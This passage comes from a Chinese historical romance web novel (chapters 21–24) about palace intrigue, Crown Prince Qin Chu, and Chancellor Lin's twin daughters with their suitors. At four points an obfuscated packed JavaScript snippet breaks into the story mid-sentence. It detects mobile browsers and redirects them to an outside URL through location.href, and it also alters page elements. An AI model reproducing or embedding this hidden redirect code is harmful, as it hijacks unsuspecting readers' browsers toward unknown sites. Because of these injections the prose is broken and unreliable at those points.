冯氏却由宫人搀扶着,面色冰冷,摆了摆手说道:“不必了。哀家此次前来只是想请皇帝三思而后行。林相乃朝中命官,不应如此对待。况且语儿是哀家钦定的太子妃,哀家疼爱语儿,不想她嫁去漠北。” 有了太后撑腰,李益便也说的更起劲。“臣也认为林丞相的女儿有足够的资格母仪天下,怎么能嫁于那蛮荒之地?前任国师在世时也曾说过,林丞相的女儿是母仪天下的命格,如此凤命之女,岂能拱手送与他国?” “太子钟意语儿多年,皇帝你应该知道的。哀家也不过是想要成全他们。”太后站在皇帝面前,一如他看秦初一般看着他。 “难道陛下觉得,微臣这个两朝丞相的女儿,配不上未来的皇后之位?”林瞻远紧随其后缓缓开口道,甚至搬出了两朝丞相的身份来施压,手中握着先帝御赐的丹书铁券。三人一唱一和,步步紧逼,直逼的秦建忠不知如何回答。林瞻远和李益两人的身份及话语权极高,很多时候皇帝也无法左右,一时之间群臣议论纷纷。秦建忠看着这幅场景,心中怒气冲天,最终却也不得不向两朝丞相低头,忍着怒气说道:“朕不是这个意思,是朕考虑欠佳了。如今圣旨还未传达。此事,便就此作罢。鲜卑那边,朕另做答复。” “陛下圣明。既是如此,小女的婚事便不劳烦陛下操心了。小女也还年幼,不急着谈婚论嫁。”林瞻远目的已经达到,便不再为难。李益见目的达成后,也没再说话。 秦建忠坐在龙椅上扶额,闭眼道:“朕乏了,今日就到这里。退朝。” 待所有臣子退下后,太后冯氏却还在殿中。秦建忠忍着快要爆发的心情问道:“母后还有何事?” “皇帝,哀家听闻你昨日关了秦初禁闭。初儿尚且年幼,他不过是规劝了你几句。如此责罚,未免太重了些吧。”冯氏淡淡开口道。 “尚且年幼?他的年纪已经不小了,却如此不懂得顾全大局,成何体统?该罚!”秦建忠怒气冲冲道。 “他是你的孩子,我的孙儿。你不心疼,我还心疼!”冯氏说着,一甩衣袖转身离开了大殿,移驾前往太子殿。 秦建忠再也控制不住怒火,暴怒之下将整个御桌掀翻,奏章散落一地。 “他是你的孙儿,广平王是你的孩儿。那朕呢?朕就不是你的孩子吗?”秦建忠仍觉不过瘾,一腔怒火无从发泄,砸了宫中价值连城的古玩。他这个皇帝,当的可谓窝囊至极。不仅在朝堂之上处处受到林瞻远和李益的限制,甚至他连秦初的太子之位都无法动摇。秦初的生母乃冯氏一族的贵女,背后有太后及各方势力扶持,他根本无法动摇。秦建忠从秦建成手中抢过这个位置,赐秦建成“广平王”的谥号已讽刺他广平天下却依旧坐不上这个位置,而他自己却也不过是落得了一个虚君的下场。 林瞻远回到林府后,立刻将这个消息传达给了两个女儿。在听到事情已经解决语儿不用远嫁后,两人才松了口气。但林默语却依旧有些闷闷不乐。 未等林默言发问,林默语便忧心忡忡的对姐姐说道:“不知太子殿下现在如何了。” “语儿这是,在关心他?”气氛终于轻松了些,林默言也有心情对她打趣道。 “不是,没有。”林默语满口否认,有些支支吾吾道:“我只是觉得殿下是为了帮我们才受罚,所以才……” “放心啦,他毕竟是太子。”见妹妹如此语无伦次的模样,林默言意味深长一笑,没有再继续逗她。 太后进入太子殿前去看望秦初,秦初见到她来赶忙上前行礼道:“参见皇祖母。” “初儿不必多礼。来,让哀家瞧瞧。”太后托住了秦初行礼的手,掀起他的袖子一看,全是乌青的戒尺痕,那么身上其他地方肯定也不用多说。冯氏皱了皱眉,说道:“每次都这样没轻没重。” “是我对父皇不敬在先,有些惩罚是应该的。”秦初不卑不亢的说道。 “傻孩子,下次不要这么冲动了。林家根基深厚,岂是那么容易扳倒的?”冯氏轻抚着秦初的伤痕,有些心疼道。 “儿臣不想看着忠良之臣被算计,也不想看着父皇继续错下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485253|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦初说道。 “朝堂之争哀家本不想参与太多,幸而这次保下了语儿,你以后要好好待她,也莫要再做伤害自己的事了。你可明白?”冯氏满眼心疼。 “孙儿知道了。”秦初说道。 寒暄一番后,冯氏找来太医为秦初医治。走到殿前,对一众守卫说道:“传哀家命令。从今日起,太子不必禁足了。” “遵命,太后娘娘。” 待太后离开太子殿后,一旁传来了一句轻柔的“皇兄”,声音很小,听起来柔柔弱弱的。 听到这个声音,秦初四周看了看,问道:“是湘儿吗?快过来吧。” 秦湘这才从屏风后绕了进来。她是偷偷跑进来探望秦初的,方才看到太后娘娘也在,就先躲了起来。 “湘儿,你是怎么进来的?”秦初颇有些疑惑道。太后方才刚解了禁足,在此之前任何人都不能进来的。 “是萧肃偷偷放我进来看望皇兄的。皇兄,你还好吗?”秦湘走上前问道。 “我没事,倒是湘儿你,许久未见,你的身体有好一些吗?” “没什么大碍,只是些风寒,皇兄不必担心。”秦湘说道。 秦湘是秦初的妹妹,乃是一位妃子的陪嫁丫鬟所生,因出生低微,所以她并不受宠。她的母亲在刚生下她后就难产去世了,秦湘一直寄样在别的不受宠的嫔妃那里,自幼不受待见。后来有了太子的关照后生活才好了一点。虽说是秦初的妹妹,但她与平日里雷厉风行的太子殿下完全不像,是一个典型的大门不出二门不迈的娇弱小公主,平时连皇宫都很少出。 秦初此刻还有伤在身,害怕会让林家二姐妹担心,于是对秦湘说道:“湘儿,你能不能帮皇兄一个忙?” “什么忙?皇兄尽管说吧。”秦湘说道。 “帮我去林府报个平安,正好言儿语儿也想见见你。”秦初不想让林默语看到自己这副样子。 “好,皇兄就放心交给我吧。” 来到林府后,秦湘看到院落中站着一位风华绝代的大美人,高兴的迎了上去喊道:“默言姐姐!” 林默语回头,看到是秦湘后微愣片刻,随后笑道:“公主殿下,你怎么来了?你的身体好些了吗?” “原来是默语姐姐啊。多谢关心,我已经好多了。”听到这个称呼,秦湘这才反应过来此人是林默语,毕竟林默言一般是不会如此恭敬叫她的。 秦湘笑着对林默语说道:“是皇兄让我来给你们报平安的。他已经解除禁足了,让你们不用担心。” 林默语心中微微一颤,正想说些什么,林默言听到动静从屋内走了出来。见到秦湘,林默言瞬间开心起来,迎上前给了她一个拥抱。“好久不见啊湘儿!” “默言姐姐。”秦湘也笑着打了个招呼。 “来来来,里边坐。”林默言拉着语儿和秦湘一同走进屋内,她可是稀罕死这个温婉可人的小公主了,这不比她哥秦初可爱多了? 来到屋内后,秦湘向她们讲了秦初现在的情况,但默言默语都不太相信秦初会毫发无伤,毕竟前车之鉴可太多了。聊了一会儿后,秦湘见她出来已有好几个时辰,不能再呆下去了,于是便起身向她们告辞。林默言不放心她一个人走,于是便一直将她送到了皇宫。 22. 第 22 章 “实在抱歉,林默语乃朝中命官的女儿。作为君主,朕也应当尊重林丞相的意愿。”秦建忠召见了拓跋宇,对他说道:“但与贵国和亲一事依旧可以商量。西启美人如云,我朝公主的风采亦不会输给林默语太多。待朕挑选出合适的人选后,和亲一事可以再议。” “多谢陛下好意,但不必了。”拓跋宇笑道:“若是她不能嫁于我,那和亲一事便就此作罢了。” 林默言一直看着秦湘进入皇宫后,才重新返回林府。在路过江晏住的客栈时,林默言忍不住抬头张望了一下,却没有看到那个熟悉的身影,心中竟有些许失落。 转身之时,一下子撞到了一个人怀里。江晏莞尔一笑,这算不算投怀送抱?林默言下意识向后退了几步,抬眼对上了江晏的目光。 “你刚刚在看什么?”江晏伸手摸了摸她的头,笑道:“一定是在看我,对不对?” 林默言打掉了他的手,扭过头给了他一个背影,说道:“你少自以为是了,我随便看看不行吗?” 江晏知道她在嘴硬,闪身到林默言面前,一定要让她看着他。 “前几日秦兄被禁足,不知他现在如何了。”江晏说道:“我是外邦人,终归不能插手太多。但还是想提醒一下你们,小心拓跋宇。” “怕什么?他的算盘已经落空了。还想娶我家语儿,不可能!”林默言边说着,边向前走。江晏很自然的跟在了她后面。 “话是这么说,但拓跋宇此人很是难缠,我担心他此计不成,又想出什么别的计策。总而言之,你多提防一些就是了。”江晏跟在她身后说道。 “好,我知道了。”林默言说着,回头看江晏,见他还紧跟着,大有要一直跟着她走进林府的意思。林默言不解的问道:“你怎么还跟着?” “不可以跟着吗?”江晏笑道。眼看着林默言又想和他斗嘴,江晏难得在她面前正经道:“我说认真的,我要去一趟林府。” “你去我家干什么?”林默言问道。 “其实我一直都想去拜访一下林丞相,一睹两朝丞相的风采。见面礼我都准备好了。”江晏很认真的说道,没有一点开玩笑的架势。 林瞻远声明在外,作为极其罕见的两朝丞相,受到万人敬仰。一直以来,江晏也对这位林丞相颇为敬仰。黎国的丞相更换的很快,且几乎无一人得以善终,也无人可以把丞相之位坐的如此稳。而林瞻远却做到了,甚至他的影响力一度超过了当朝皇帝。江晏难以想象,这样的一个人会有怎样的深厚才华和谋略手段。 听他是想去拜访父亲,林默言便也不觉得奇怪,毕竟想见父亲的人很多,她已见怪不怪。 “那好吧,正好今日爹爹也在府中,你随我来吧。”林默言说道。 江晏跟随着林默言进入林府,途中他四处打量了一番这座府邸。这里比他想象的要朴素许多,没有过多富丽堂皇的装饰,看起来颇有几分古朴典雅的韵味。 “瞎看什么呢?还不快点跟上。”林默言说道。 江晏于是收回目光跟了上去。 林默言带着江晏一路走到书房,林家的藏书典籍数量非常之多,看的江晏眼花缭乱。两人一直走到了书房深处,林瞻远此时正坐在案边提笔写着什么。笔锋刚劲,字迹规正。 “爹爹!”林默言走上前挽住了林瞻远的胳膊。 “言儿,你怎么来了?”林瞻远放下笔,看到随她一起前来的江晏,问道:“这位是?” 江晏上前行礼,说道:“晚辈是黎国八皇子江晏,久仰林丞相大名,今日特来拜访。还请林丞相多多赐教。” 江晏说着,抬手奉上了准备好的见面礼,继续说道:“此乃黎国特有的浮生玉所打造的玉佩,是晚辈的一点小小心意,还请林丞相笑纳。” 听到他的身份,林瞻远的脸色变了变,再看到他手中拿的玉佩与他在太后寿宴上献上的贺礼材质相同,面色更加凝重。 林瞻远肃然开口,对江晏说道:“浮生玉?如此贵重的礼物,只怕老夫受不起啊。” 江晏闻言颇有些尴尬的笑了笑,继续说道:“那林丞相可否……” “老夫乃是朝中重臣,若与外邦皇子来往过密恐怕会引来非议,引起不必要的麻烦。所以,八皇子请回吧。”未等江晏把话说完,林瞻远就打断了他。 林默言看着如此严肃的父亲,心中微震。前来拜访父亲的人非常多,父亲大多都会以礼相待,至少从来没有像今天这样直接下达逐客令过,今日为何会如此急着赶江晏走?看着江晏如此尴尬的处境,林默言想要为他说两句话。 “爹爹……”林默言晃了晃林瞻远的胳膊。 “言儿,送客吧。”林瞻远拨开她的手,继续提笔写字。 见此情形,江晏便也很有礼数的向他行了个礼说道:“那晚辈就先告退了。” 林默言只得带着江晏向外走,一路上江晏看起来很是郁闷。 “江晏,你别介意。我爹爹他……”林默言不知该如何对江晏解释。 “没事的,林丞相说得对。我毕竟是外邦人,过多接触确实会引来不必要的麻烦。是我考虑欠佳了。”江晏说道:“那我就先走了,再见。” “嗯。”林默言将他送出林府大门之后,转身回去寻找父亲。她想知道父亲为何如此果断的把江晏拒之门外。 重新回到书房时,林瞻远正站在门前等着她。 “言儿,你过来。”林瞻远看着她说道。林默言快步走了过去。 “言儿,你知道我为什么要赶他走吗?”林瞻远问道。林默言摇了摇头表示不解。 林瞻远继续说道:“近日西启与黎国建交互通贸易之事你也应该知道,这预示着西启与黎国将来很有可能结盟。结盟之后,和亲一事很有可能再次抬上日程。我怕皇上给语儿指婚不成,又在你身上做打算。所以,言儿,爹爹希望你不要和黎国的皇子来往过密。” 虽说林默言嫁去黎国未必会过得不好,但又有哪个父亲希望自己的女儿远嫁呢? 林默言闻言楞了一下,随即回答道:“嗯,言儿知道了。” 但不知为何,林默言的心中突然无端有些失落。特别是想到江晏在离开时那落寞的神情。 几日后,两人收到了秦初的一封信件,邀请她们一同出宫小聚。林默言还记得,上次原本应该是四个人的小聚,但最终却莫名变成了她和江晏两人的约会,这次想来应当不会这样。听闻黎国的使节团已经起程回国了,江晏此刻也应该在回去的路上。 想到这里,林默言颇有些郁闷。认识这么久了,却也没和他好好道个别。 林默言收回思绪,对妹妹说道:“语儿,这次可不能不去了哦。和我一起走吧。” “嗯。”林默语点头回应道。这段时间发生了太多事情,她也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485254|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该去见一见秦初,好好向他道个谢了。顺便她也想看看他现在的处境如何。 简单的打理了一番后,林默语跟着姐姐一同前往与秦初约定的地点。这次的地方与上次一样。林默言站在楼下向上张望,却看到秦初的身旁还坐着江晏。两人面对面坐着,此时正谈笑风生。两个俊朗的人凑在一起,看起来甚是养眼,各有各的风格。秦初的俊朗中透露着一种威压端正不可侵犯之势,而江晏则是有一种狂傲不羁的风范。 看到江晏,林默言愣了片刻。黎国的使节团不是走了吗?他怎么会还在西启? “姐姐,你怎么不走了?”林默语问道。林默言这才被妹妹的话拉回思绪,带着她一起向上走去。 秦初听到动静后迎了过来,看到了缓步前行的林默言。与上次不同的是,紧随其后的还有林默语。 林默语已经很久没有来赴过他的约了,秦初的心颤了颤。虽说他经常见到和语儿一模一样的林默言,但这种感觉对他来说完全不一样。 秦初的目光已无法从她身上移开,看向她时眼中满是柔情,笑着叫了一句“语儿。” 自上一次在初雨阁不欢而散后,两人就很少见面,即使是见了面也只是短短一会儿。此刻看着秦初,林默语说不清心中是何滋味,却也发自内心的浅浅一笑,回应了一句“太子殿下。” 秦初已经很久没见过林默语对他笑了,尽管这笑容转瞬即逝,秦初也觉得非常满足。林默语并不怎么爱笑,但笑起来时尤为好看。秦初很想守住这份笑容,想要她永远笑颜如画。 “喂,你就只看到语儿了吗?!”夹在两人中间的林默言很不满自己被忽视了。 “当然不是,还有言儿。”秦初忍俊不禁道。 江晏走了过来,将气鼓鼓的林默言拉去一旁。林默言还是很气,对江晏说道:“我怎么觉得我家语儿快要羊入虎口了?” “你呀!”江晏无奈的敲了敲林默言的脑袋。 林默言又气鼓鼓的看向他,说道:“黎国的使节团不是已经回去了吗?你为何还在西启?” “我当然有不想走的理由。”江晏看着她,嘴角轻轻上扬,眼眸在笑时如星辰闪烁,明亮而深邃。“西启景美人美,我还想再停留些时日。” 眼前之人笑意盈盈,如清风拂面,林默言不由自主的被他的笑容吸引。看着江晏如此直白热烈的目光,林默言不禁脸色有些发红,赶紧扭头前去坐下。 四人纷纷坐下,江晏坐在了林默言旁边,秦初则是坐在了林默语身旁。江晏为林默言夹了她喜欢吃的菜,林默言却想起父亲对他说过的话,于是果断拒绝。江晏不知道自己又在哪一方面惹到了这位小祖宗,好说歹说的把菜硬塞给了她。 “这次你不会又吃到一半被叫去处理事务吧?”林默言看着秦初打趣道。 “放心,这次肯定不会。”秦初肯定的回答。 “真的吗?这么笃定?” “当然是真的。”秦初叹了口气,继续说道:“父皇现在罚我不准插手朝中事务,也明令禁止了我去查案。所以那件案子只能先放一放了。这段时间,我可能会很闲。” “这也算惩罚吗?”林默言不理解道。不用处理事务反倒清闲,这明明是赤裸裸的奖赏。但对于志在朝堂,热爱政事的秦初来说,确实是很严厉的惩罚。 四人在欢笑声中动筷。夜幕降临,气氛舒适安乐。 23. 第 23 章 谈笑间,林默言总觉得少了点什么,这种时候没有酒怎么行?于是林默言不顾秦初和江晏的劝阻下去点了几坛酒。 “来嘛,小酌怡情。”林默言抱着几坛酒放到桌子中央。 “大酌伤身。”秦初淡淡补充道。 “没关系,我可是千杯不倒的!”林默言说着就拆开了其中一坛,准备直接抱着酒坛喝。江晏从她手中夺过酒坛,递给她一个酒杯说道:“尽说大话。你还是少喝点吧。” “我不要你管!”林默言说着就伸手去抢他手中的酒坛,江晏却来回躲闪着不给她, 在两人争抢打闹期间,林默语倒了两杯酒,一杯递给秦初,举起另一杯对秦初说道:“太子殿下,默语敬您一杯。” 林默语的酒量非常令人堪忧,说是一杯倒也不为过。秦初有点担心,说道:“语儿,要不你还是别喝了吧,以茶代酒也可以。” “没事的,我的酒量已经有长进了。”林默语说道。她拿起酒杯在秦初的酒杯上碰了一下,随后仰头一饮而尽。秦初见状也只能端起酒杯喝下。 酒很烈,入口微甘,林默语轻轻皱了皱眉头。 “你无不无聊?”林默言被江晏戏耍了半天,根本就抢不到他手中的酒坛,于是干脆回到座位上重新抱起一坛。看到微微皱眉的语儿和她手里的空酒杯,林默言瞬间知道语儿也喝了,但语儿的酒量实在令人放心不下。 “语儿,你还是少喝点吧。”林默言担心的看向她。林默言记得非常清楚,语儿通常是一沾酒就会醉倒,跟她的酒量根本没法比。 “我真的没事。”林默语说道。 林默言和秦初小心观察着她的反应,见她吐字清晰面色正常,看起来与平时一样,这才松了口气。看来语儿的酒量确实有长进。 林默言避开江晏很快将手中的一坛酒一饮而尽,这里的酒非常烈,酒劲很足。一坛酒下肚,林默言竟有些招架不住。 月光如水,星星点点倾泻而下,散落于宁静的夜色之中。明月皎洁,气氛正浓,四人边吃菜边喝酒。借着酒劲,林默言又和江晏嬉笑打闹起来,此刻已几乎把父亲的话忘得一干二净。 林默言和江晏开始划拳,江晏的运气很差,喝了很多杯,林默言喝的也不少。 一旁的林默语脸色越来越红,身体也开始微微摇晃。秦初一脸担心的看向她,询问道:“语儿,你还好吧?” “我……没事。”林默语努力的睁开眼睛保持清醒,最终还是不胜酒力一头栽倒下去。秦初及时扶住了她,看着双目紧闭的语儿,秦初无奈的叹了口气。方才拦都拦不住她,这酒量,只能说有长进,但不多。 “语儿醉了,我先带她回去吧。”秦初对一旁的江晏和林默言说道。 “好,路上小心些。”林默言说道。 秦初抱起林默语向楼下走去。这是他第一次如此近的接触语儿,抱得十分小心翼翼,生怕碰到什么不该碰的地方。为了避免引起太多注意,秦初特意挑了一条很少有人的小道走。路上漆黑一片,秦初走的十分小心。 “殿下,为何要做到……这种地步……”林默语喃喃道。 尽管她说的是醉话,吐字十分不清晰,但秦初还是听清楚了。 “我怎么忍心看着别人强迫你做不愿意的事情呢?我怎么能看着林家身处水火而置身事外呢?语儿,我不能那样做,也做不到。”秦初温柔的笑了笑,尽管知道她听不到。 “你就不担心,秦初对你的妹妹做些什么吗?”酒楼内,江晏笑着看向林默言。 “怎么可能?秦初好歹也是个正人君子。你以为谁都像你,登徒子!” “说谁登徒子?你还毛头小贼呢!”江晏重重的敲了一下她的头。林默言被敲痛了,瞬间恼火起来,追着江晏就开始打。 “你又打不过我,还老是爱动手。”江晏一边躲闪一边气她道。 “谁说我打不过你的?今天我就要和你一决雌雄!”林默言越气章法越乱。 “雌雄就不用决了吧?”江晏笑道。电光火石之间迅速出手抓住了她的双手,将她向后一仰,轻轻松松破坏了她的平衡,再松开手。林默言整个人瞬间重心不稳,前后摇晃,不受控制的扑进了他的怀里。江晏全程摊开手,笑着看她自己扑过来。 林默言紧贴到了他的胸口处,感受到了江晏有些凌乱的心跳,瞬间从他身上弹了起来。 “还说你不是登徒子?”林默言摆出一副生气的口吻也无法压下自己越发加快的心跳。 “你自己扑过来的,怪我吗?”江晏笑意更甚,眉宇间尽是柔情。他看着林默言红的有些异常的脸,伸手探了探,很烫。“你是不是喝醉了?才喝了那么点,也还好意思说自己是千杯不倒的。” “我喝了那么点是因为谁?还不是因为大部分都被你喝了?为什么大部分被你喝了?还不是运气太差划拳划不过我?”林默言气鼓鼓的说完便扭头不再理他。 “好了,是我的错,理理我呗,林大小姐。”江晏笑道。 “我很生气,不想理你。”林默言一如既往的刁蛮。 江晏忍俊不禁,对她说道:“生气了就打我,这次我不躲。”林默言听到这话一点都没有客气,对着他就是一顿乱拳伺候。江晏如他所说,一下都没躲。 “气消了没?”江晏伸手摸了摸她的头。 林默言打掉他的手,转身向楼下走去。江晏笑着跟在了她身后。 “要去哪里?” “不要你管!”今天的酒格外的烈,林默言已经微微有点招架不住了。 两人一路走了下去,来到了繁华的洛阳街上。 另一边,秦初已抱着林默语进入林府。进入语儿房间后,秦初将她小心的放到床上,为她盖好被子。正准备走时,林默语却微微起身,醒了。秦初顿足片刻,转身看向她。 “语儿,你还好吗?”秦初轻声问道。却见林默语的眼神依旧有些迷离,看向他时恍恍惚惚的,似乎在努力辨认着他是谁。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485255|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是秦初从未在她脸上见过的表情,微微有些呆滞,懵懂中透露着一丝困惑,可谓是与平时反差极大。秦初看了片刻,不禁失笑,有些舍不得走了。 “语儿,还认得清我是谁吗?”秦初俯身,看着她道。 “你是……太子殿下?”林默语依旧有些口齿不清,说话略有含混。 久远的记忆浮上心头,看着此刻的她,回忆与现实重叠。想起从前的种种,秦初的心微微一颤,突然很想问她一些问题。这些问题在语儿清醒时他是绝对是问不出口的,但此刻乘着语儿喝醉,说不定可以得到答案。 “语儿,我想知道。你现在……还介意小时候我把你们认错的那件事吗?”秦初思忖片刻,终于下定决心问出了口。 林默语垂眸没有看他。半晌,只是轻轻摇了摇头。 秦初的心瞬间如奔流之水,翻江倒海,波涛汹涌。这个问题,已经困扰了他很久很久了,只是他一直不敢向语儿提起。眼下,终于从语儿这里得到了答案。 秦初再次开口,声音都有一些颤抖:“那……你可以告诉我,为何从那以后你就开始疏远我了吗?是因为不喜欢我?或者说,你真的……很讨厌我吗?” 秦初将这问题问出口后,心都提到了嗓子眼里。小心的观察着她的反应,等待着她的回答。 林默语看向他,眼神逐渐聚焦,微微皱眉,似乎在努力思考着这个问题。秦初忐忑不安的等待着她的回答。却见下一秒,林默语的头向下一垂,靠在床边闭上眼,再次睡了过去。 “语儿?”秦初走上前轻轻唤了唤她,最终也没忍心把她叫醒。 “罢了。”秦初无奈一笑,将她扶正躺在床上。为她掖好被角后,秦初转身离开了林默语的房间。来日方长。不管怎样,他只希望她开心就好。至于这个问题的答案,与眼前的她相比,似乎也没有那么重要。 行走在繁华的洛阳街上,林默言偷偷用眼角瞥向紧跟在她身后几步之外的江晏,开口说道:“我想吃糖葫芦。” 江晏四处环顾了一下,附近并没有卖糖葫芦的摊位。但他想起之前见过的一个摊位,离这里不算太远。 “那你先站在这里等我一下,我很快就回来。”江晏转头对林默言一笑,说道。 “嗯。”林默言点点头,此刻她觉得有点晕乎乎的。 江晏一头扎进人堆里,很快便淹没在人潮之中。林默言站在原地看着他走进人群渐行渐远,心中突然有点空落落的。 “我不想吃了……” 在酒劲的加持之下,林默言略有些烦躁。等待一会儿便开始在四周转来转去。等到江晏拿着糖葫芦回来时,林默言已经不知道去哪了。 江晏很是无奈,他才离开一会儿的功夫人就不见了,醉成那样万一出了危险怎么办?江晏开始在人群中拼命找寻那个惹眼的身影。 找到林默言时,她正站在一个一尺多高的台阶上四处眺望着。脸颊在灯光的掩映下依旧微微泛红,看起来好像有些醉了。 24. 第 24 章 看到林默言后,江晏赶紧跑了过去。看到站在台阶上的林默言,江晏无奈道:“不是说不要乱跑的吗?你怎么跑到这里来了?快下来。” 林默言看了他一眼,伸出一根手指戳了一下他的额头,站在台阶上以一种居高临下的姿态看着他,张口说道:“小矮子。” 江晏闻言不由自主的笑了。两人刚认识时自己曾这样开玩笑的叫过她,没想到还挺记仇的。看着这个站在一尺多高的台阶上也比他高不了多少的人叫他小矮子,江晏很是无奈,但也只能哄着。 “好,我是小矮子。听话,先下来。”江晏拉住她的衣袖。 “我不!”林默言在江晏的手上轻轻打了一巴掌。 江晏觉得她可能是真的醉了,好说歹说的让她下来。但不管他说什么,林默言都不听。到之后,林默言的行为愈加放肆,伸出双手在江晏的脸上开始肆无忌惮的捏,捏着捏着还忍不住笑出了声。江晏的脸已被她捏出了几道若隐若现的红印子,无奈的制止了她的手。 “再不听话,我可要动手了。”江晏用微微警告的口吻说道。 林默言还是没有一点要停下来的架势,于是江晏直接将手中的糖葫芦塞到了她的手里,然后将她整个人拦腰抱了下来。 这一抱,惊醒了林默言大半的醉意。林默言瞬间清醒。其实她原本就算不上喝醉,只是想借着酒劲戏弄一下江晏。没想到事情会发展成这样,林默言只得继续装醉。 江晏原本以为她会挣扎,可她却乖乖躺在他怀里。这让原本想放她下来的江晏有些不想放手了。两人距离很近,江晏闻到她身上有一股淡淡的香味。 不知不觉间,早已乱了方寸。江晏努力平复自己的心跳,努力让自己的语气听起来和平常一样。 “想去哪里?”江晏问道。 怀中的林默言看起来也在思考这个问题。片刻后,说道:“想回家。” “好,我送你回家。”江晏抱稳了她。 洛阳城的夜晚依旧灯火通明,街灯明明晃晃,道路熙熙攘攘。各色灯光交相辉映,将夜空晕染的五彩斑斓,如同古老而动人的神话。 行人穿梭于车水马龙之间,小贩的吆喝声此起彼伏,这样的场景很是安逸祥和。在一片繁华之景中,林默言搂住了江晏的脖子,轻轻地靠在了他的肩膀上。哪怕是周围人声鼎沸,却也依旧感受到了他愈加凌乱的心跳。 江晏缓步前行着,他多希望回林府的路能够再长一点。但道路总归有尽头,尽管江晏走得很慢,却也还是来到了林府大门前。 江晏略微思考片刻,对林默言说道:“抓紧了,我带你翻墙进去。”他想着林丞相应该不会想看到别人抱着她的女儿,于是出此下策。 “嗯。”林默言依言搂紧了他,尽管觉得回自己家还要翻墙很是奇怪。 江晏来到了墙角处。林默言很期待江晏在双手抱着她时应该怎样翻墙进去,暗暗观察着他的动作。江晏默默抱紧了怀中之人,向前一跃,借助一旁的树发力起跳,轻轻松松就跳到了墙上。林默言在他怀中只感受到了轻微的摇晃,还没反应过来就已经从墙外到了墙内。心中不禁赞叹江晏的身手。 “我带你回房间,你为我指路吧。”江晏说道。 林瞻远站在角落里不动声色的看着江晏抱着林默言向她的房间走去,心中五味杂陈。先是秦初抱着喝醉的林默语回来,再是江晏抱着不知是醉是醒的林默言翻墙进来。女儿大了终究是留不住,林瞻远一时之间说不清是何感受。 江晏抱着林默言一路走进了她的房间,灯火没有点燃,屋内光线较为昏暗。借着窗外照进的月光,能大概看清屋内的陈设。江晏把林默言放到床上,低头问道:“需要我为你点燃烛火吗?” “不用。”林默言忍不住轻轻拉了拉他的衣袖。 江晏心中一暖,俯身靠近她,却也只是伸手轻轻摸了摸她的侧脸。随后立即起身,害怕自己再次乱了方寸。 “天色已晚,我们明日再见好不好?”江晏用哄着她的口吻说道。 “好。”林默言说着,松开了拉住他衣袖的手。 江晏走后,林默言靠在床上看着江晏给他买的糖葫芦发呆。回想着今天发生的一切,林默言不禁开始思考这一切都算些什么。他们之间明明无名无分,却有着如此亲密的接触。 林默语推开门走进姐姐的房间。她刚清醒不久,方才听到了姐姐的房间有响动。进来一看,姐姐此刻正坐在床上,又在看着手里的一串糖葫芦发呆。 “姐姐……” 林默言看到她来,并不吃惊。这次没等林默语开口询问,林默言便先一步说道:“语儿,我有一个问题想要问你。” “你有没有……喜欢过人?”林默言终于问出了自己想说的话。 林默语正待开口,林默言却立即否认了自己道:“语儿这么清心寡欲,肯定没有。看我这问题问的……” 林默语叹了口气,来到姐姐的身旁坐下,说道:“姐姐,你是在想江晏,对吧?” 果然什么事情都瞒不过她家语儿。一眼被语儿看穿了心思,林默言微微垂首。看着姐姐的这副表情,林默语的心中已经得到了肯定的答案。 “你说,他是喜欢我,还是对所有的女子都这般轻浮。”林默言皱眉,有些郁闷道。 “江晏此人,虽说有些时候举止放肆了些,却也算不上轻浮。”林默语如实回答道。 林默言更加郁闷了,说道:“可我猜不准他的心思。不知为何,我竟成了这般优柔寡断的模样。但我才不要做那种没名没分的事情。若他只是一时兴起想要随手撩拨我的话,我才不要。” 林默语笑道:“姐姐向来处事利落,怎么到了感情一事,便开始优柔寡断起来了?姐姐不必想那么多,也不必为难自己改变什么。感情一事,顺心便好。” 听了语儿的劝导,林默言的心中才好受了一些。她处事从来都是当机立断的,没道理在感情一事上犹豫不决。与其此刻在这里想东想西,不如明日在见到江晏时直接问出口。 “嗯。那语儿也早些睡吧。时辰已晚,有什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 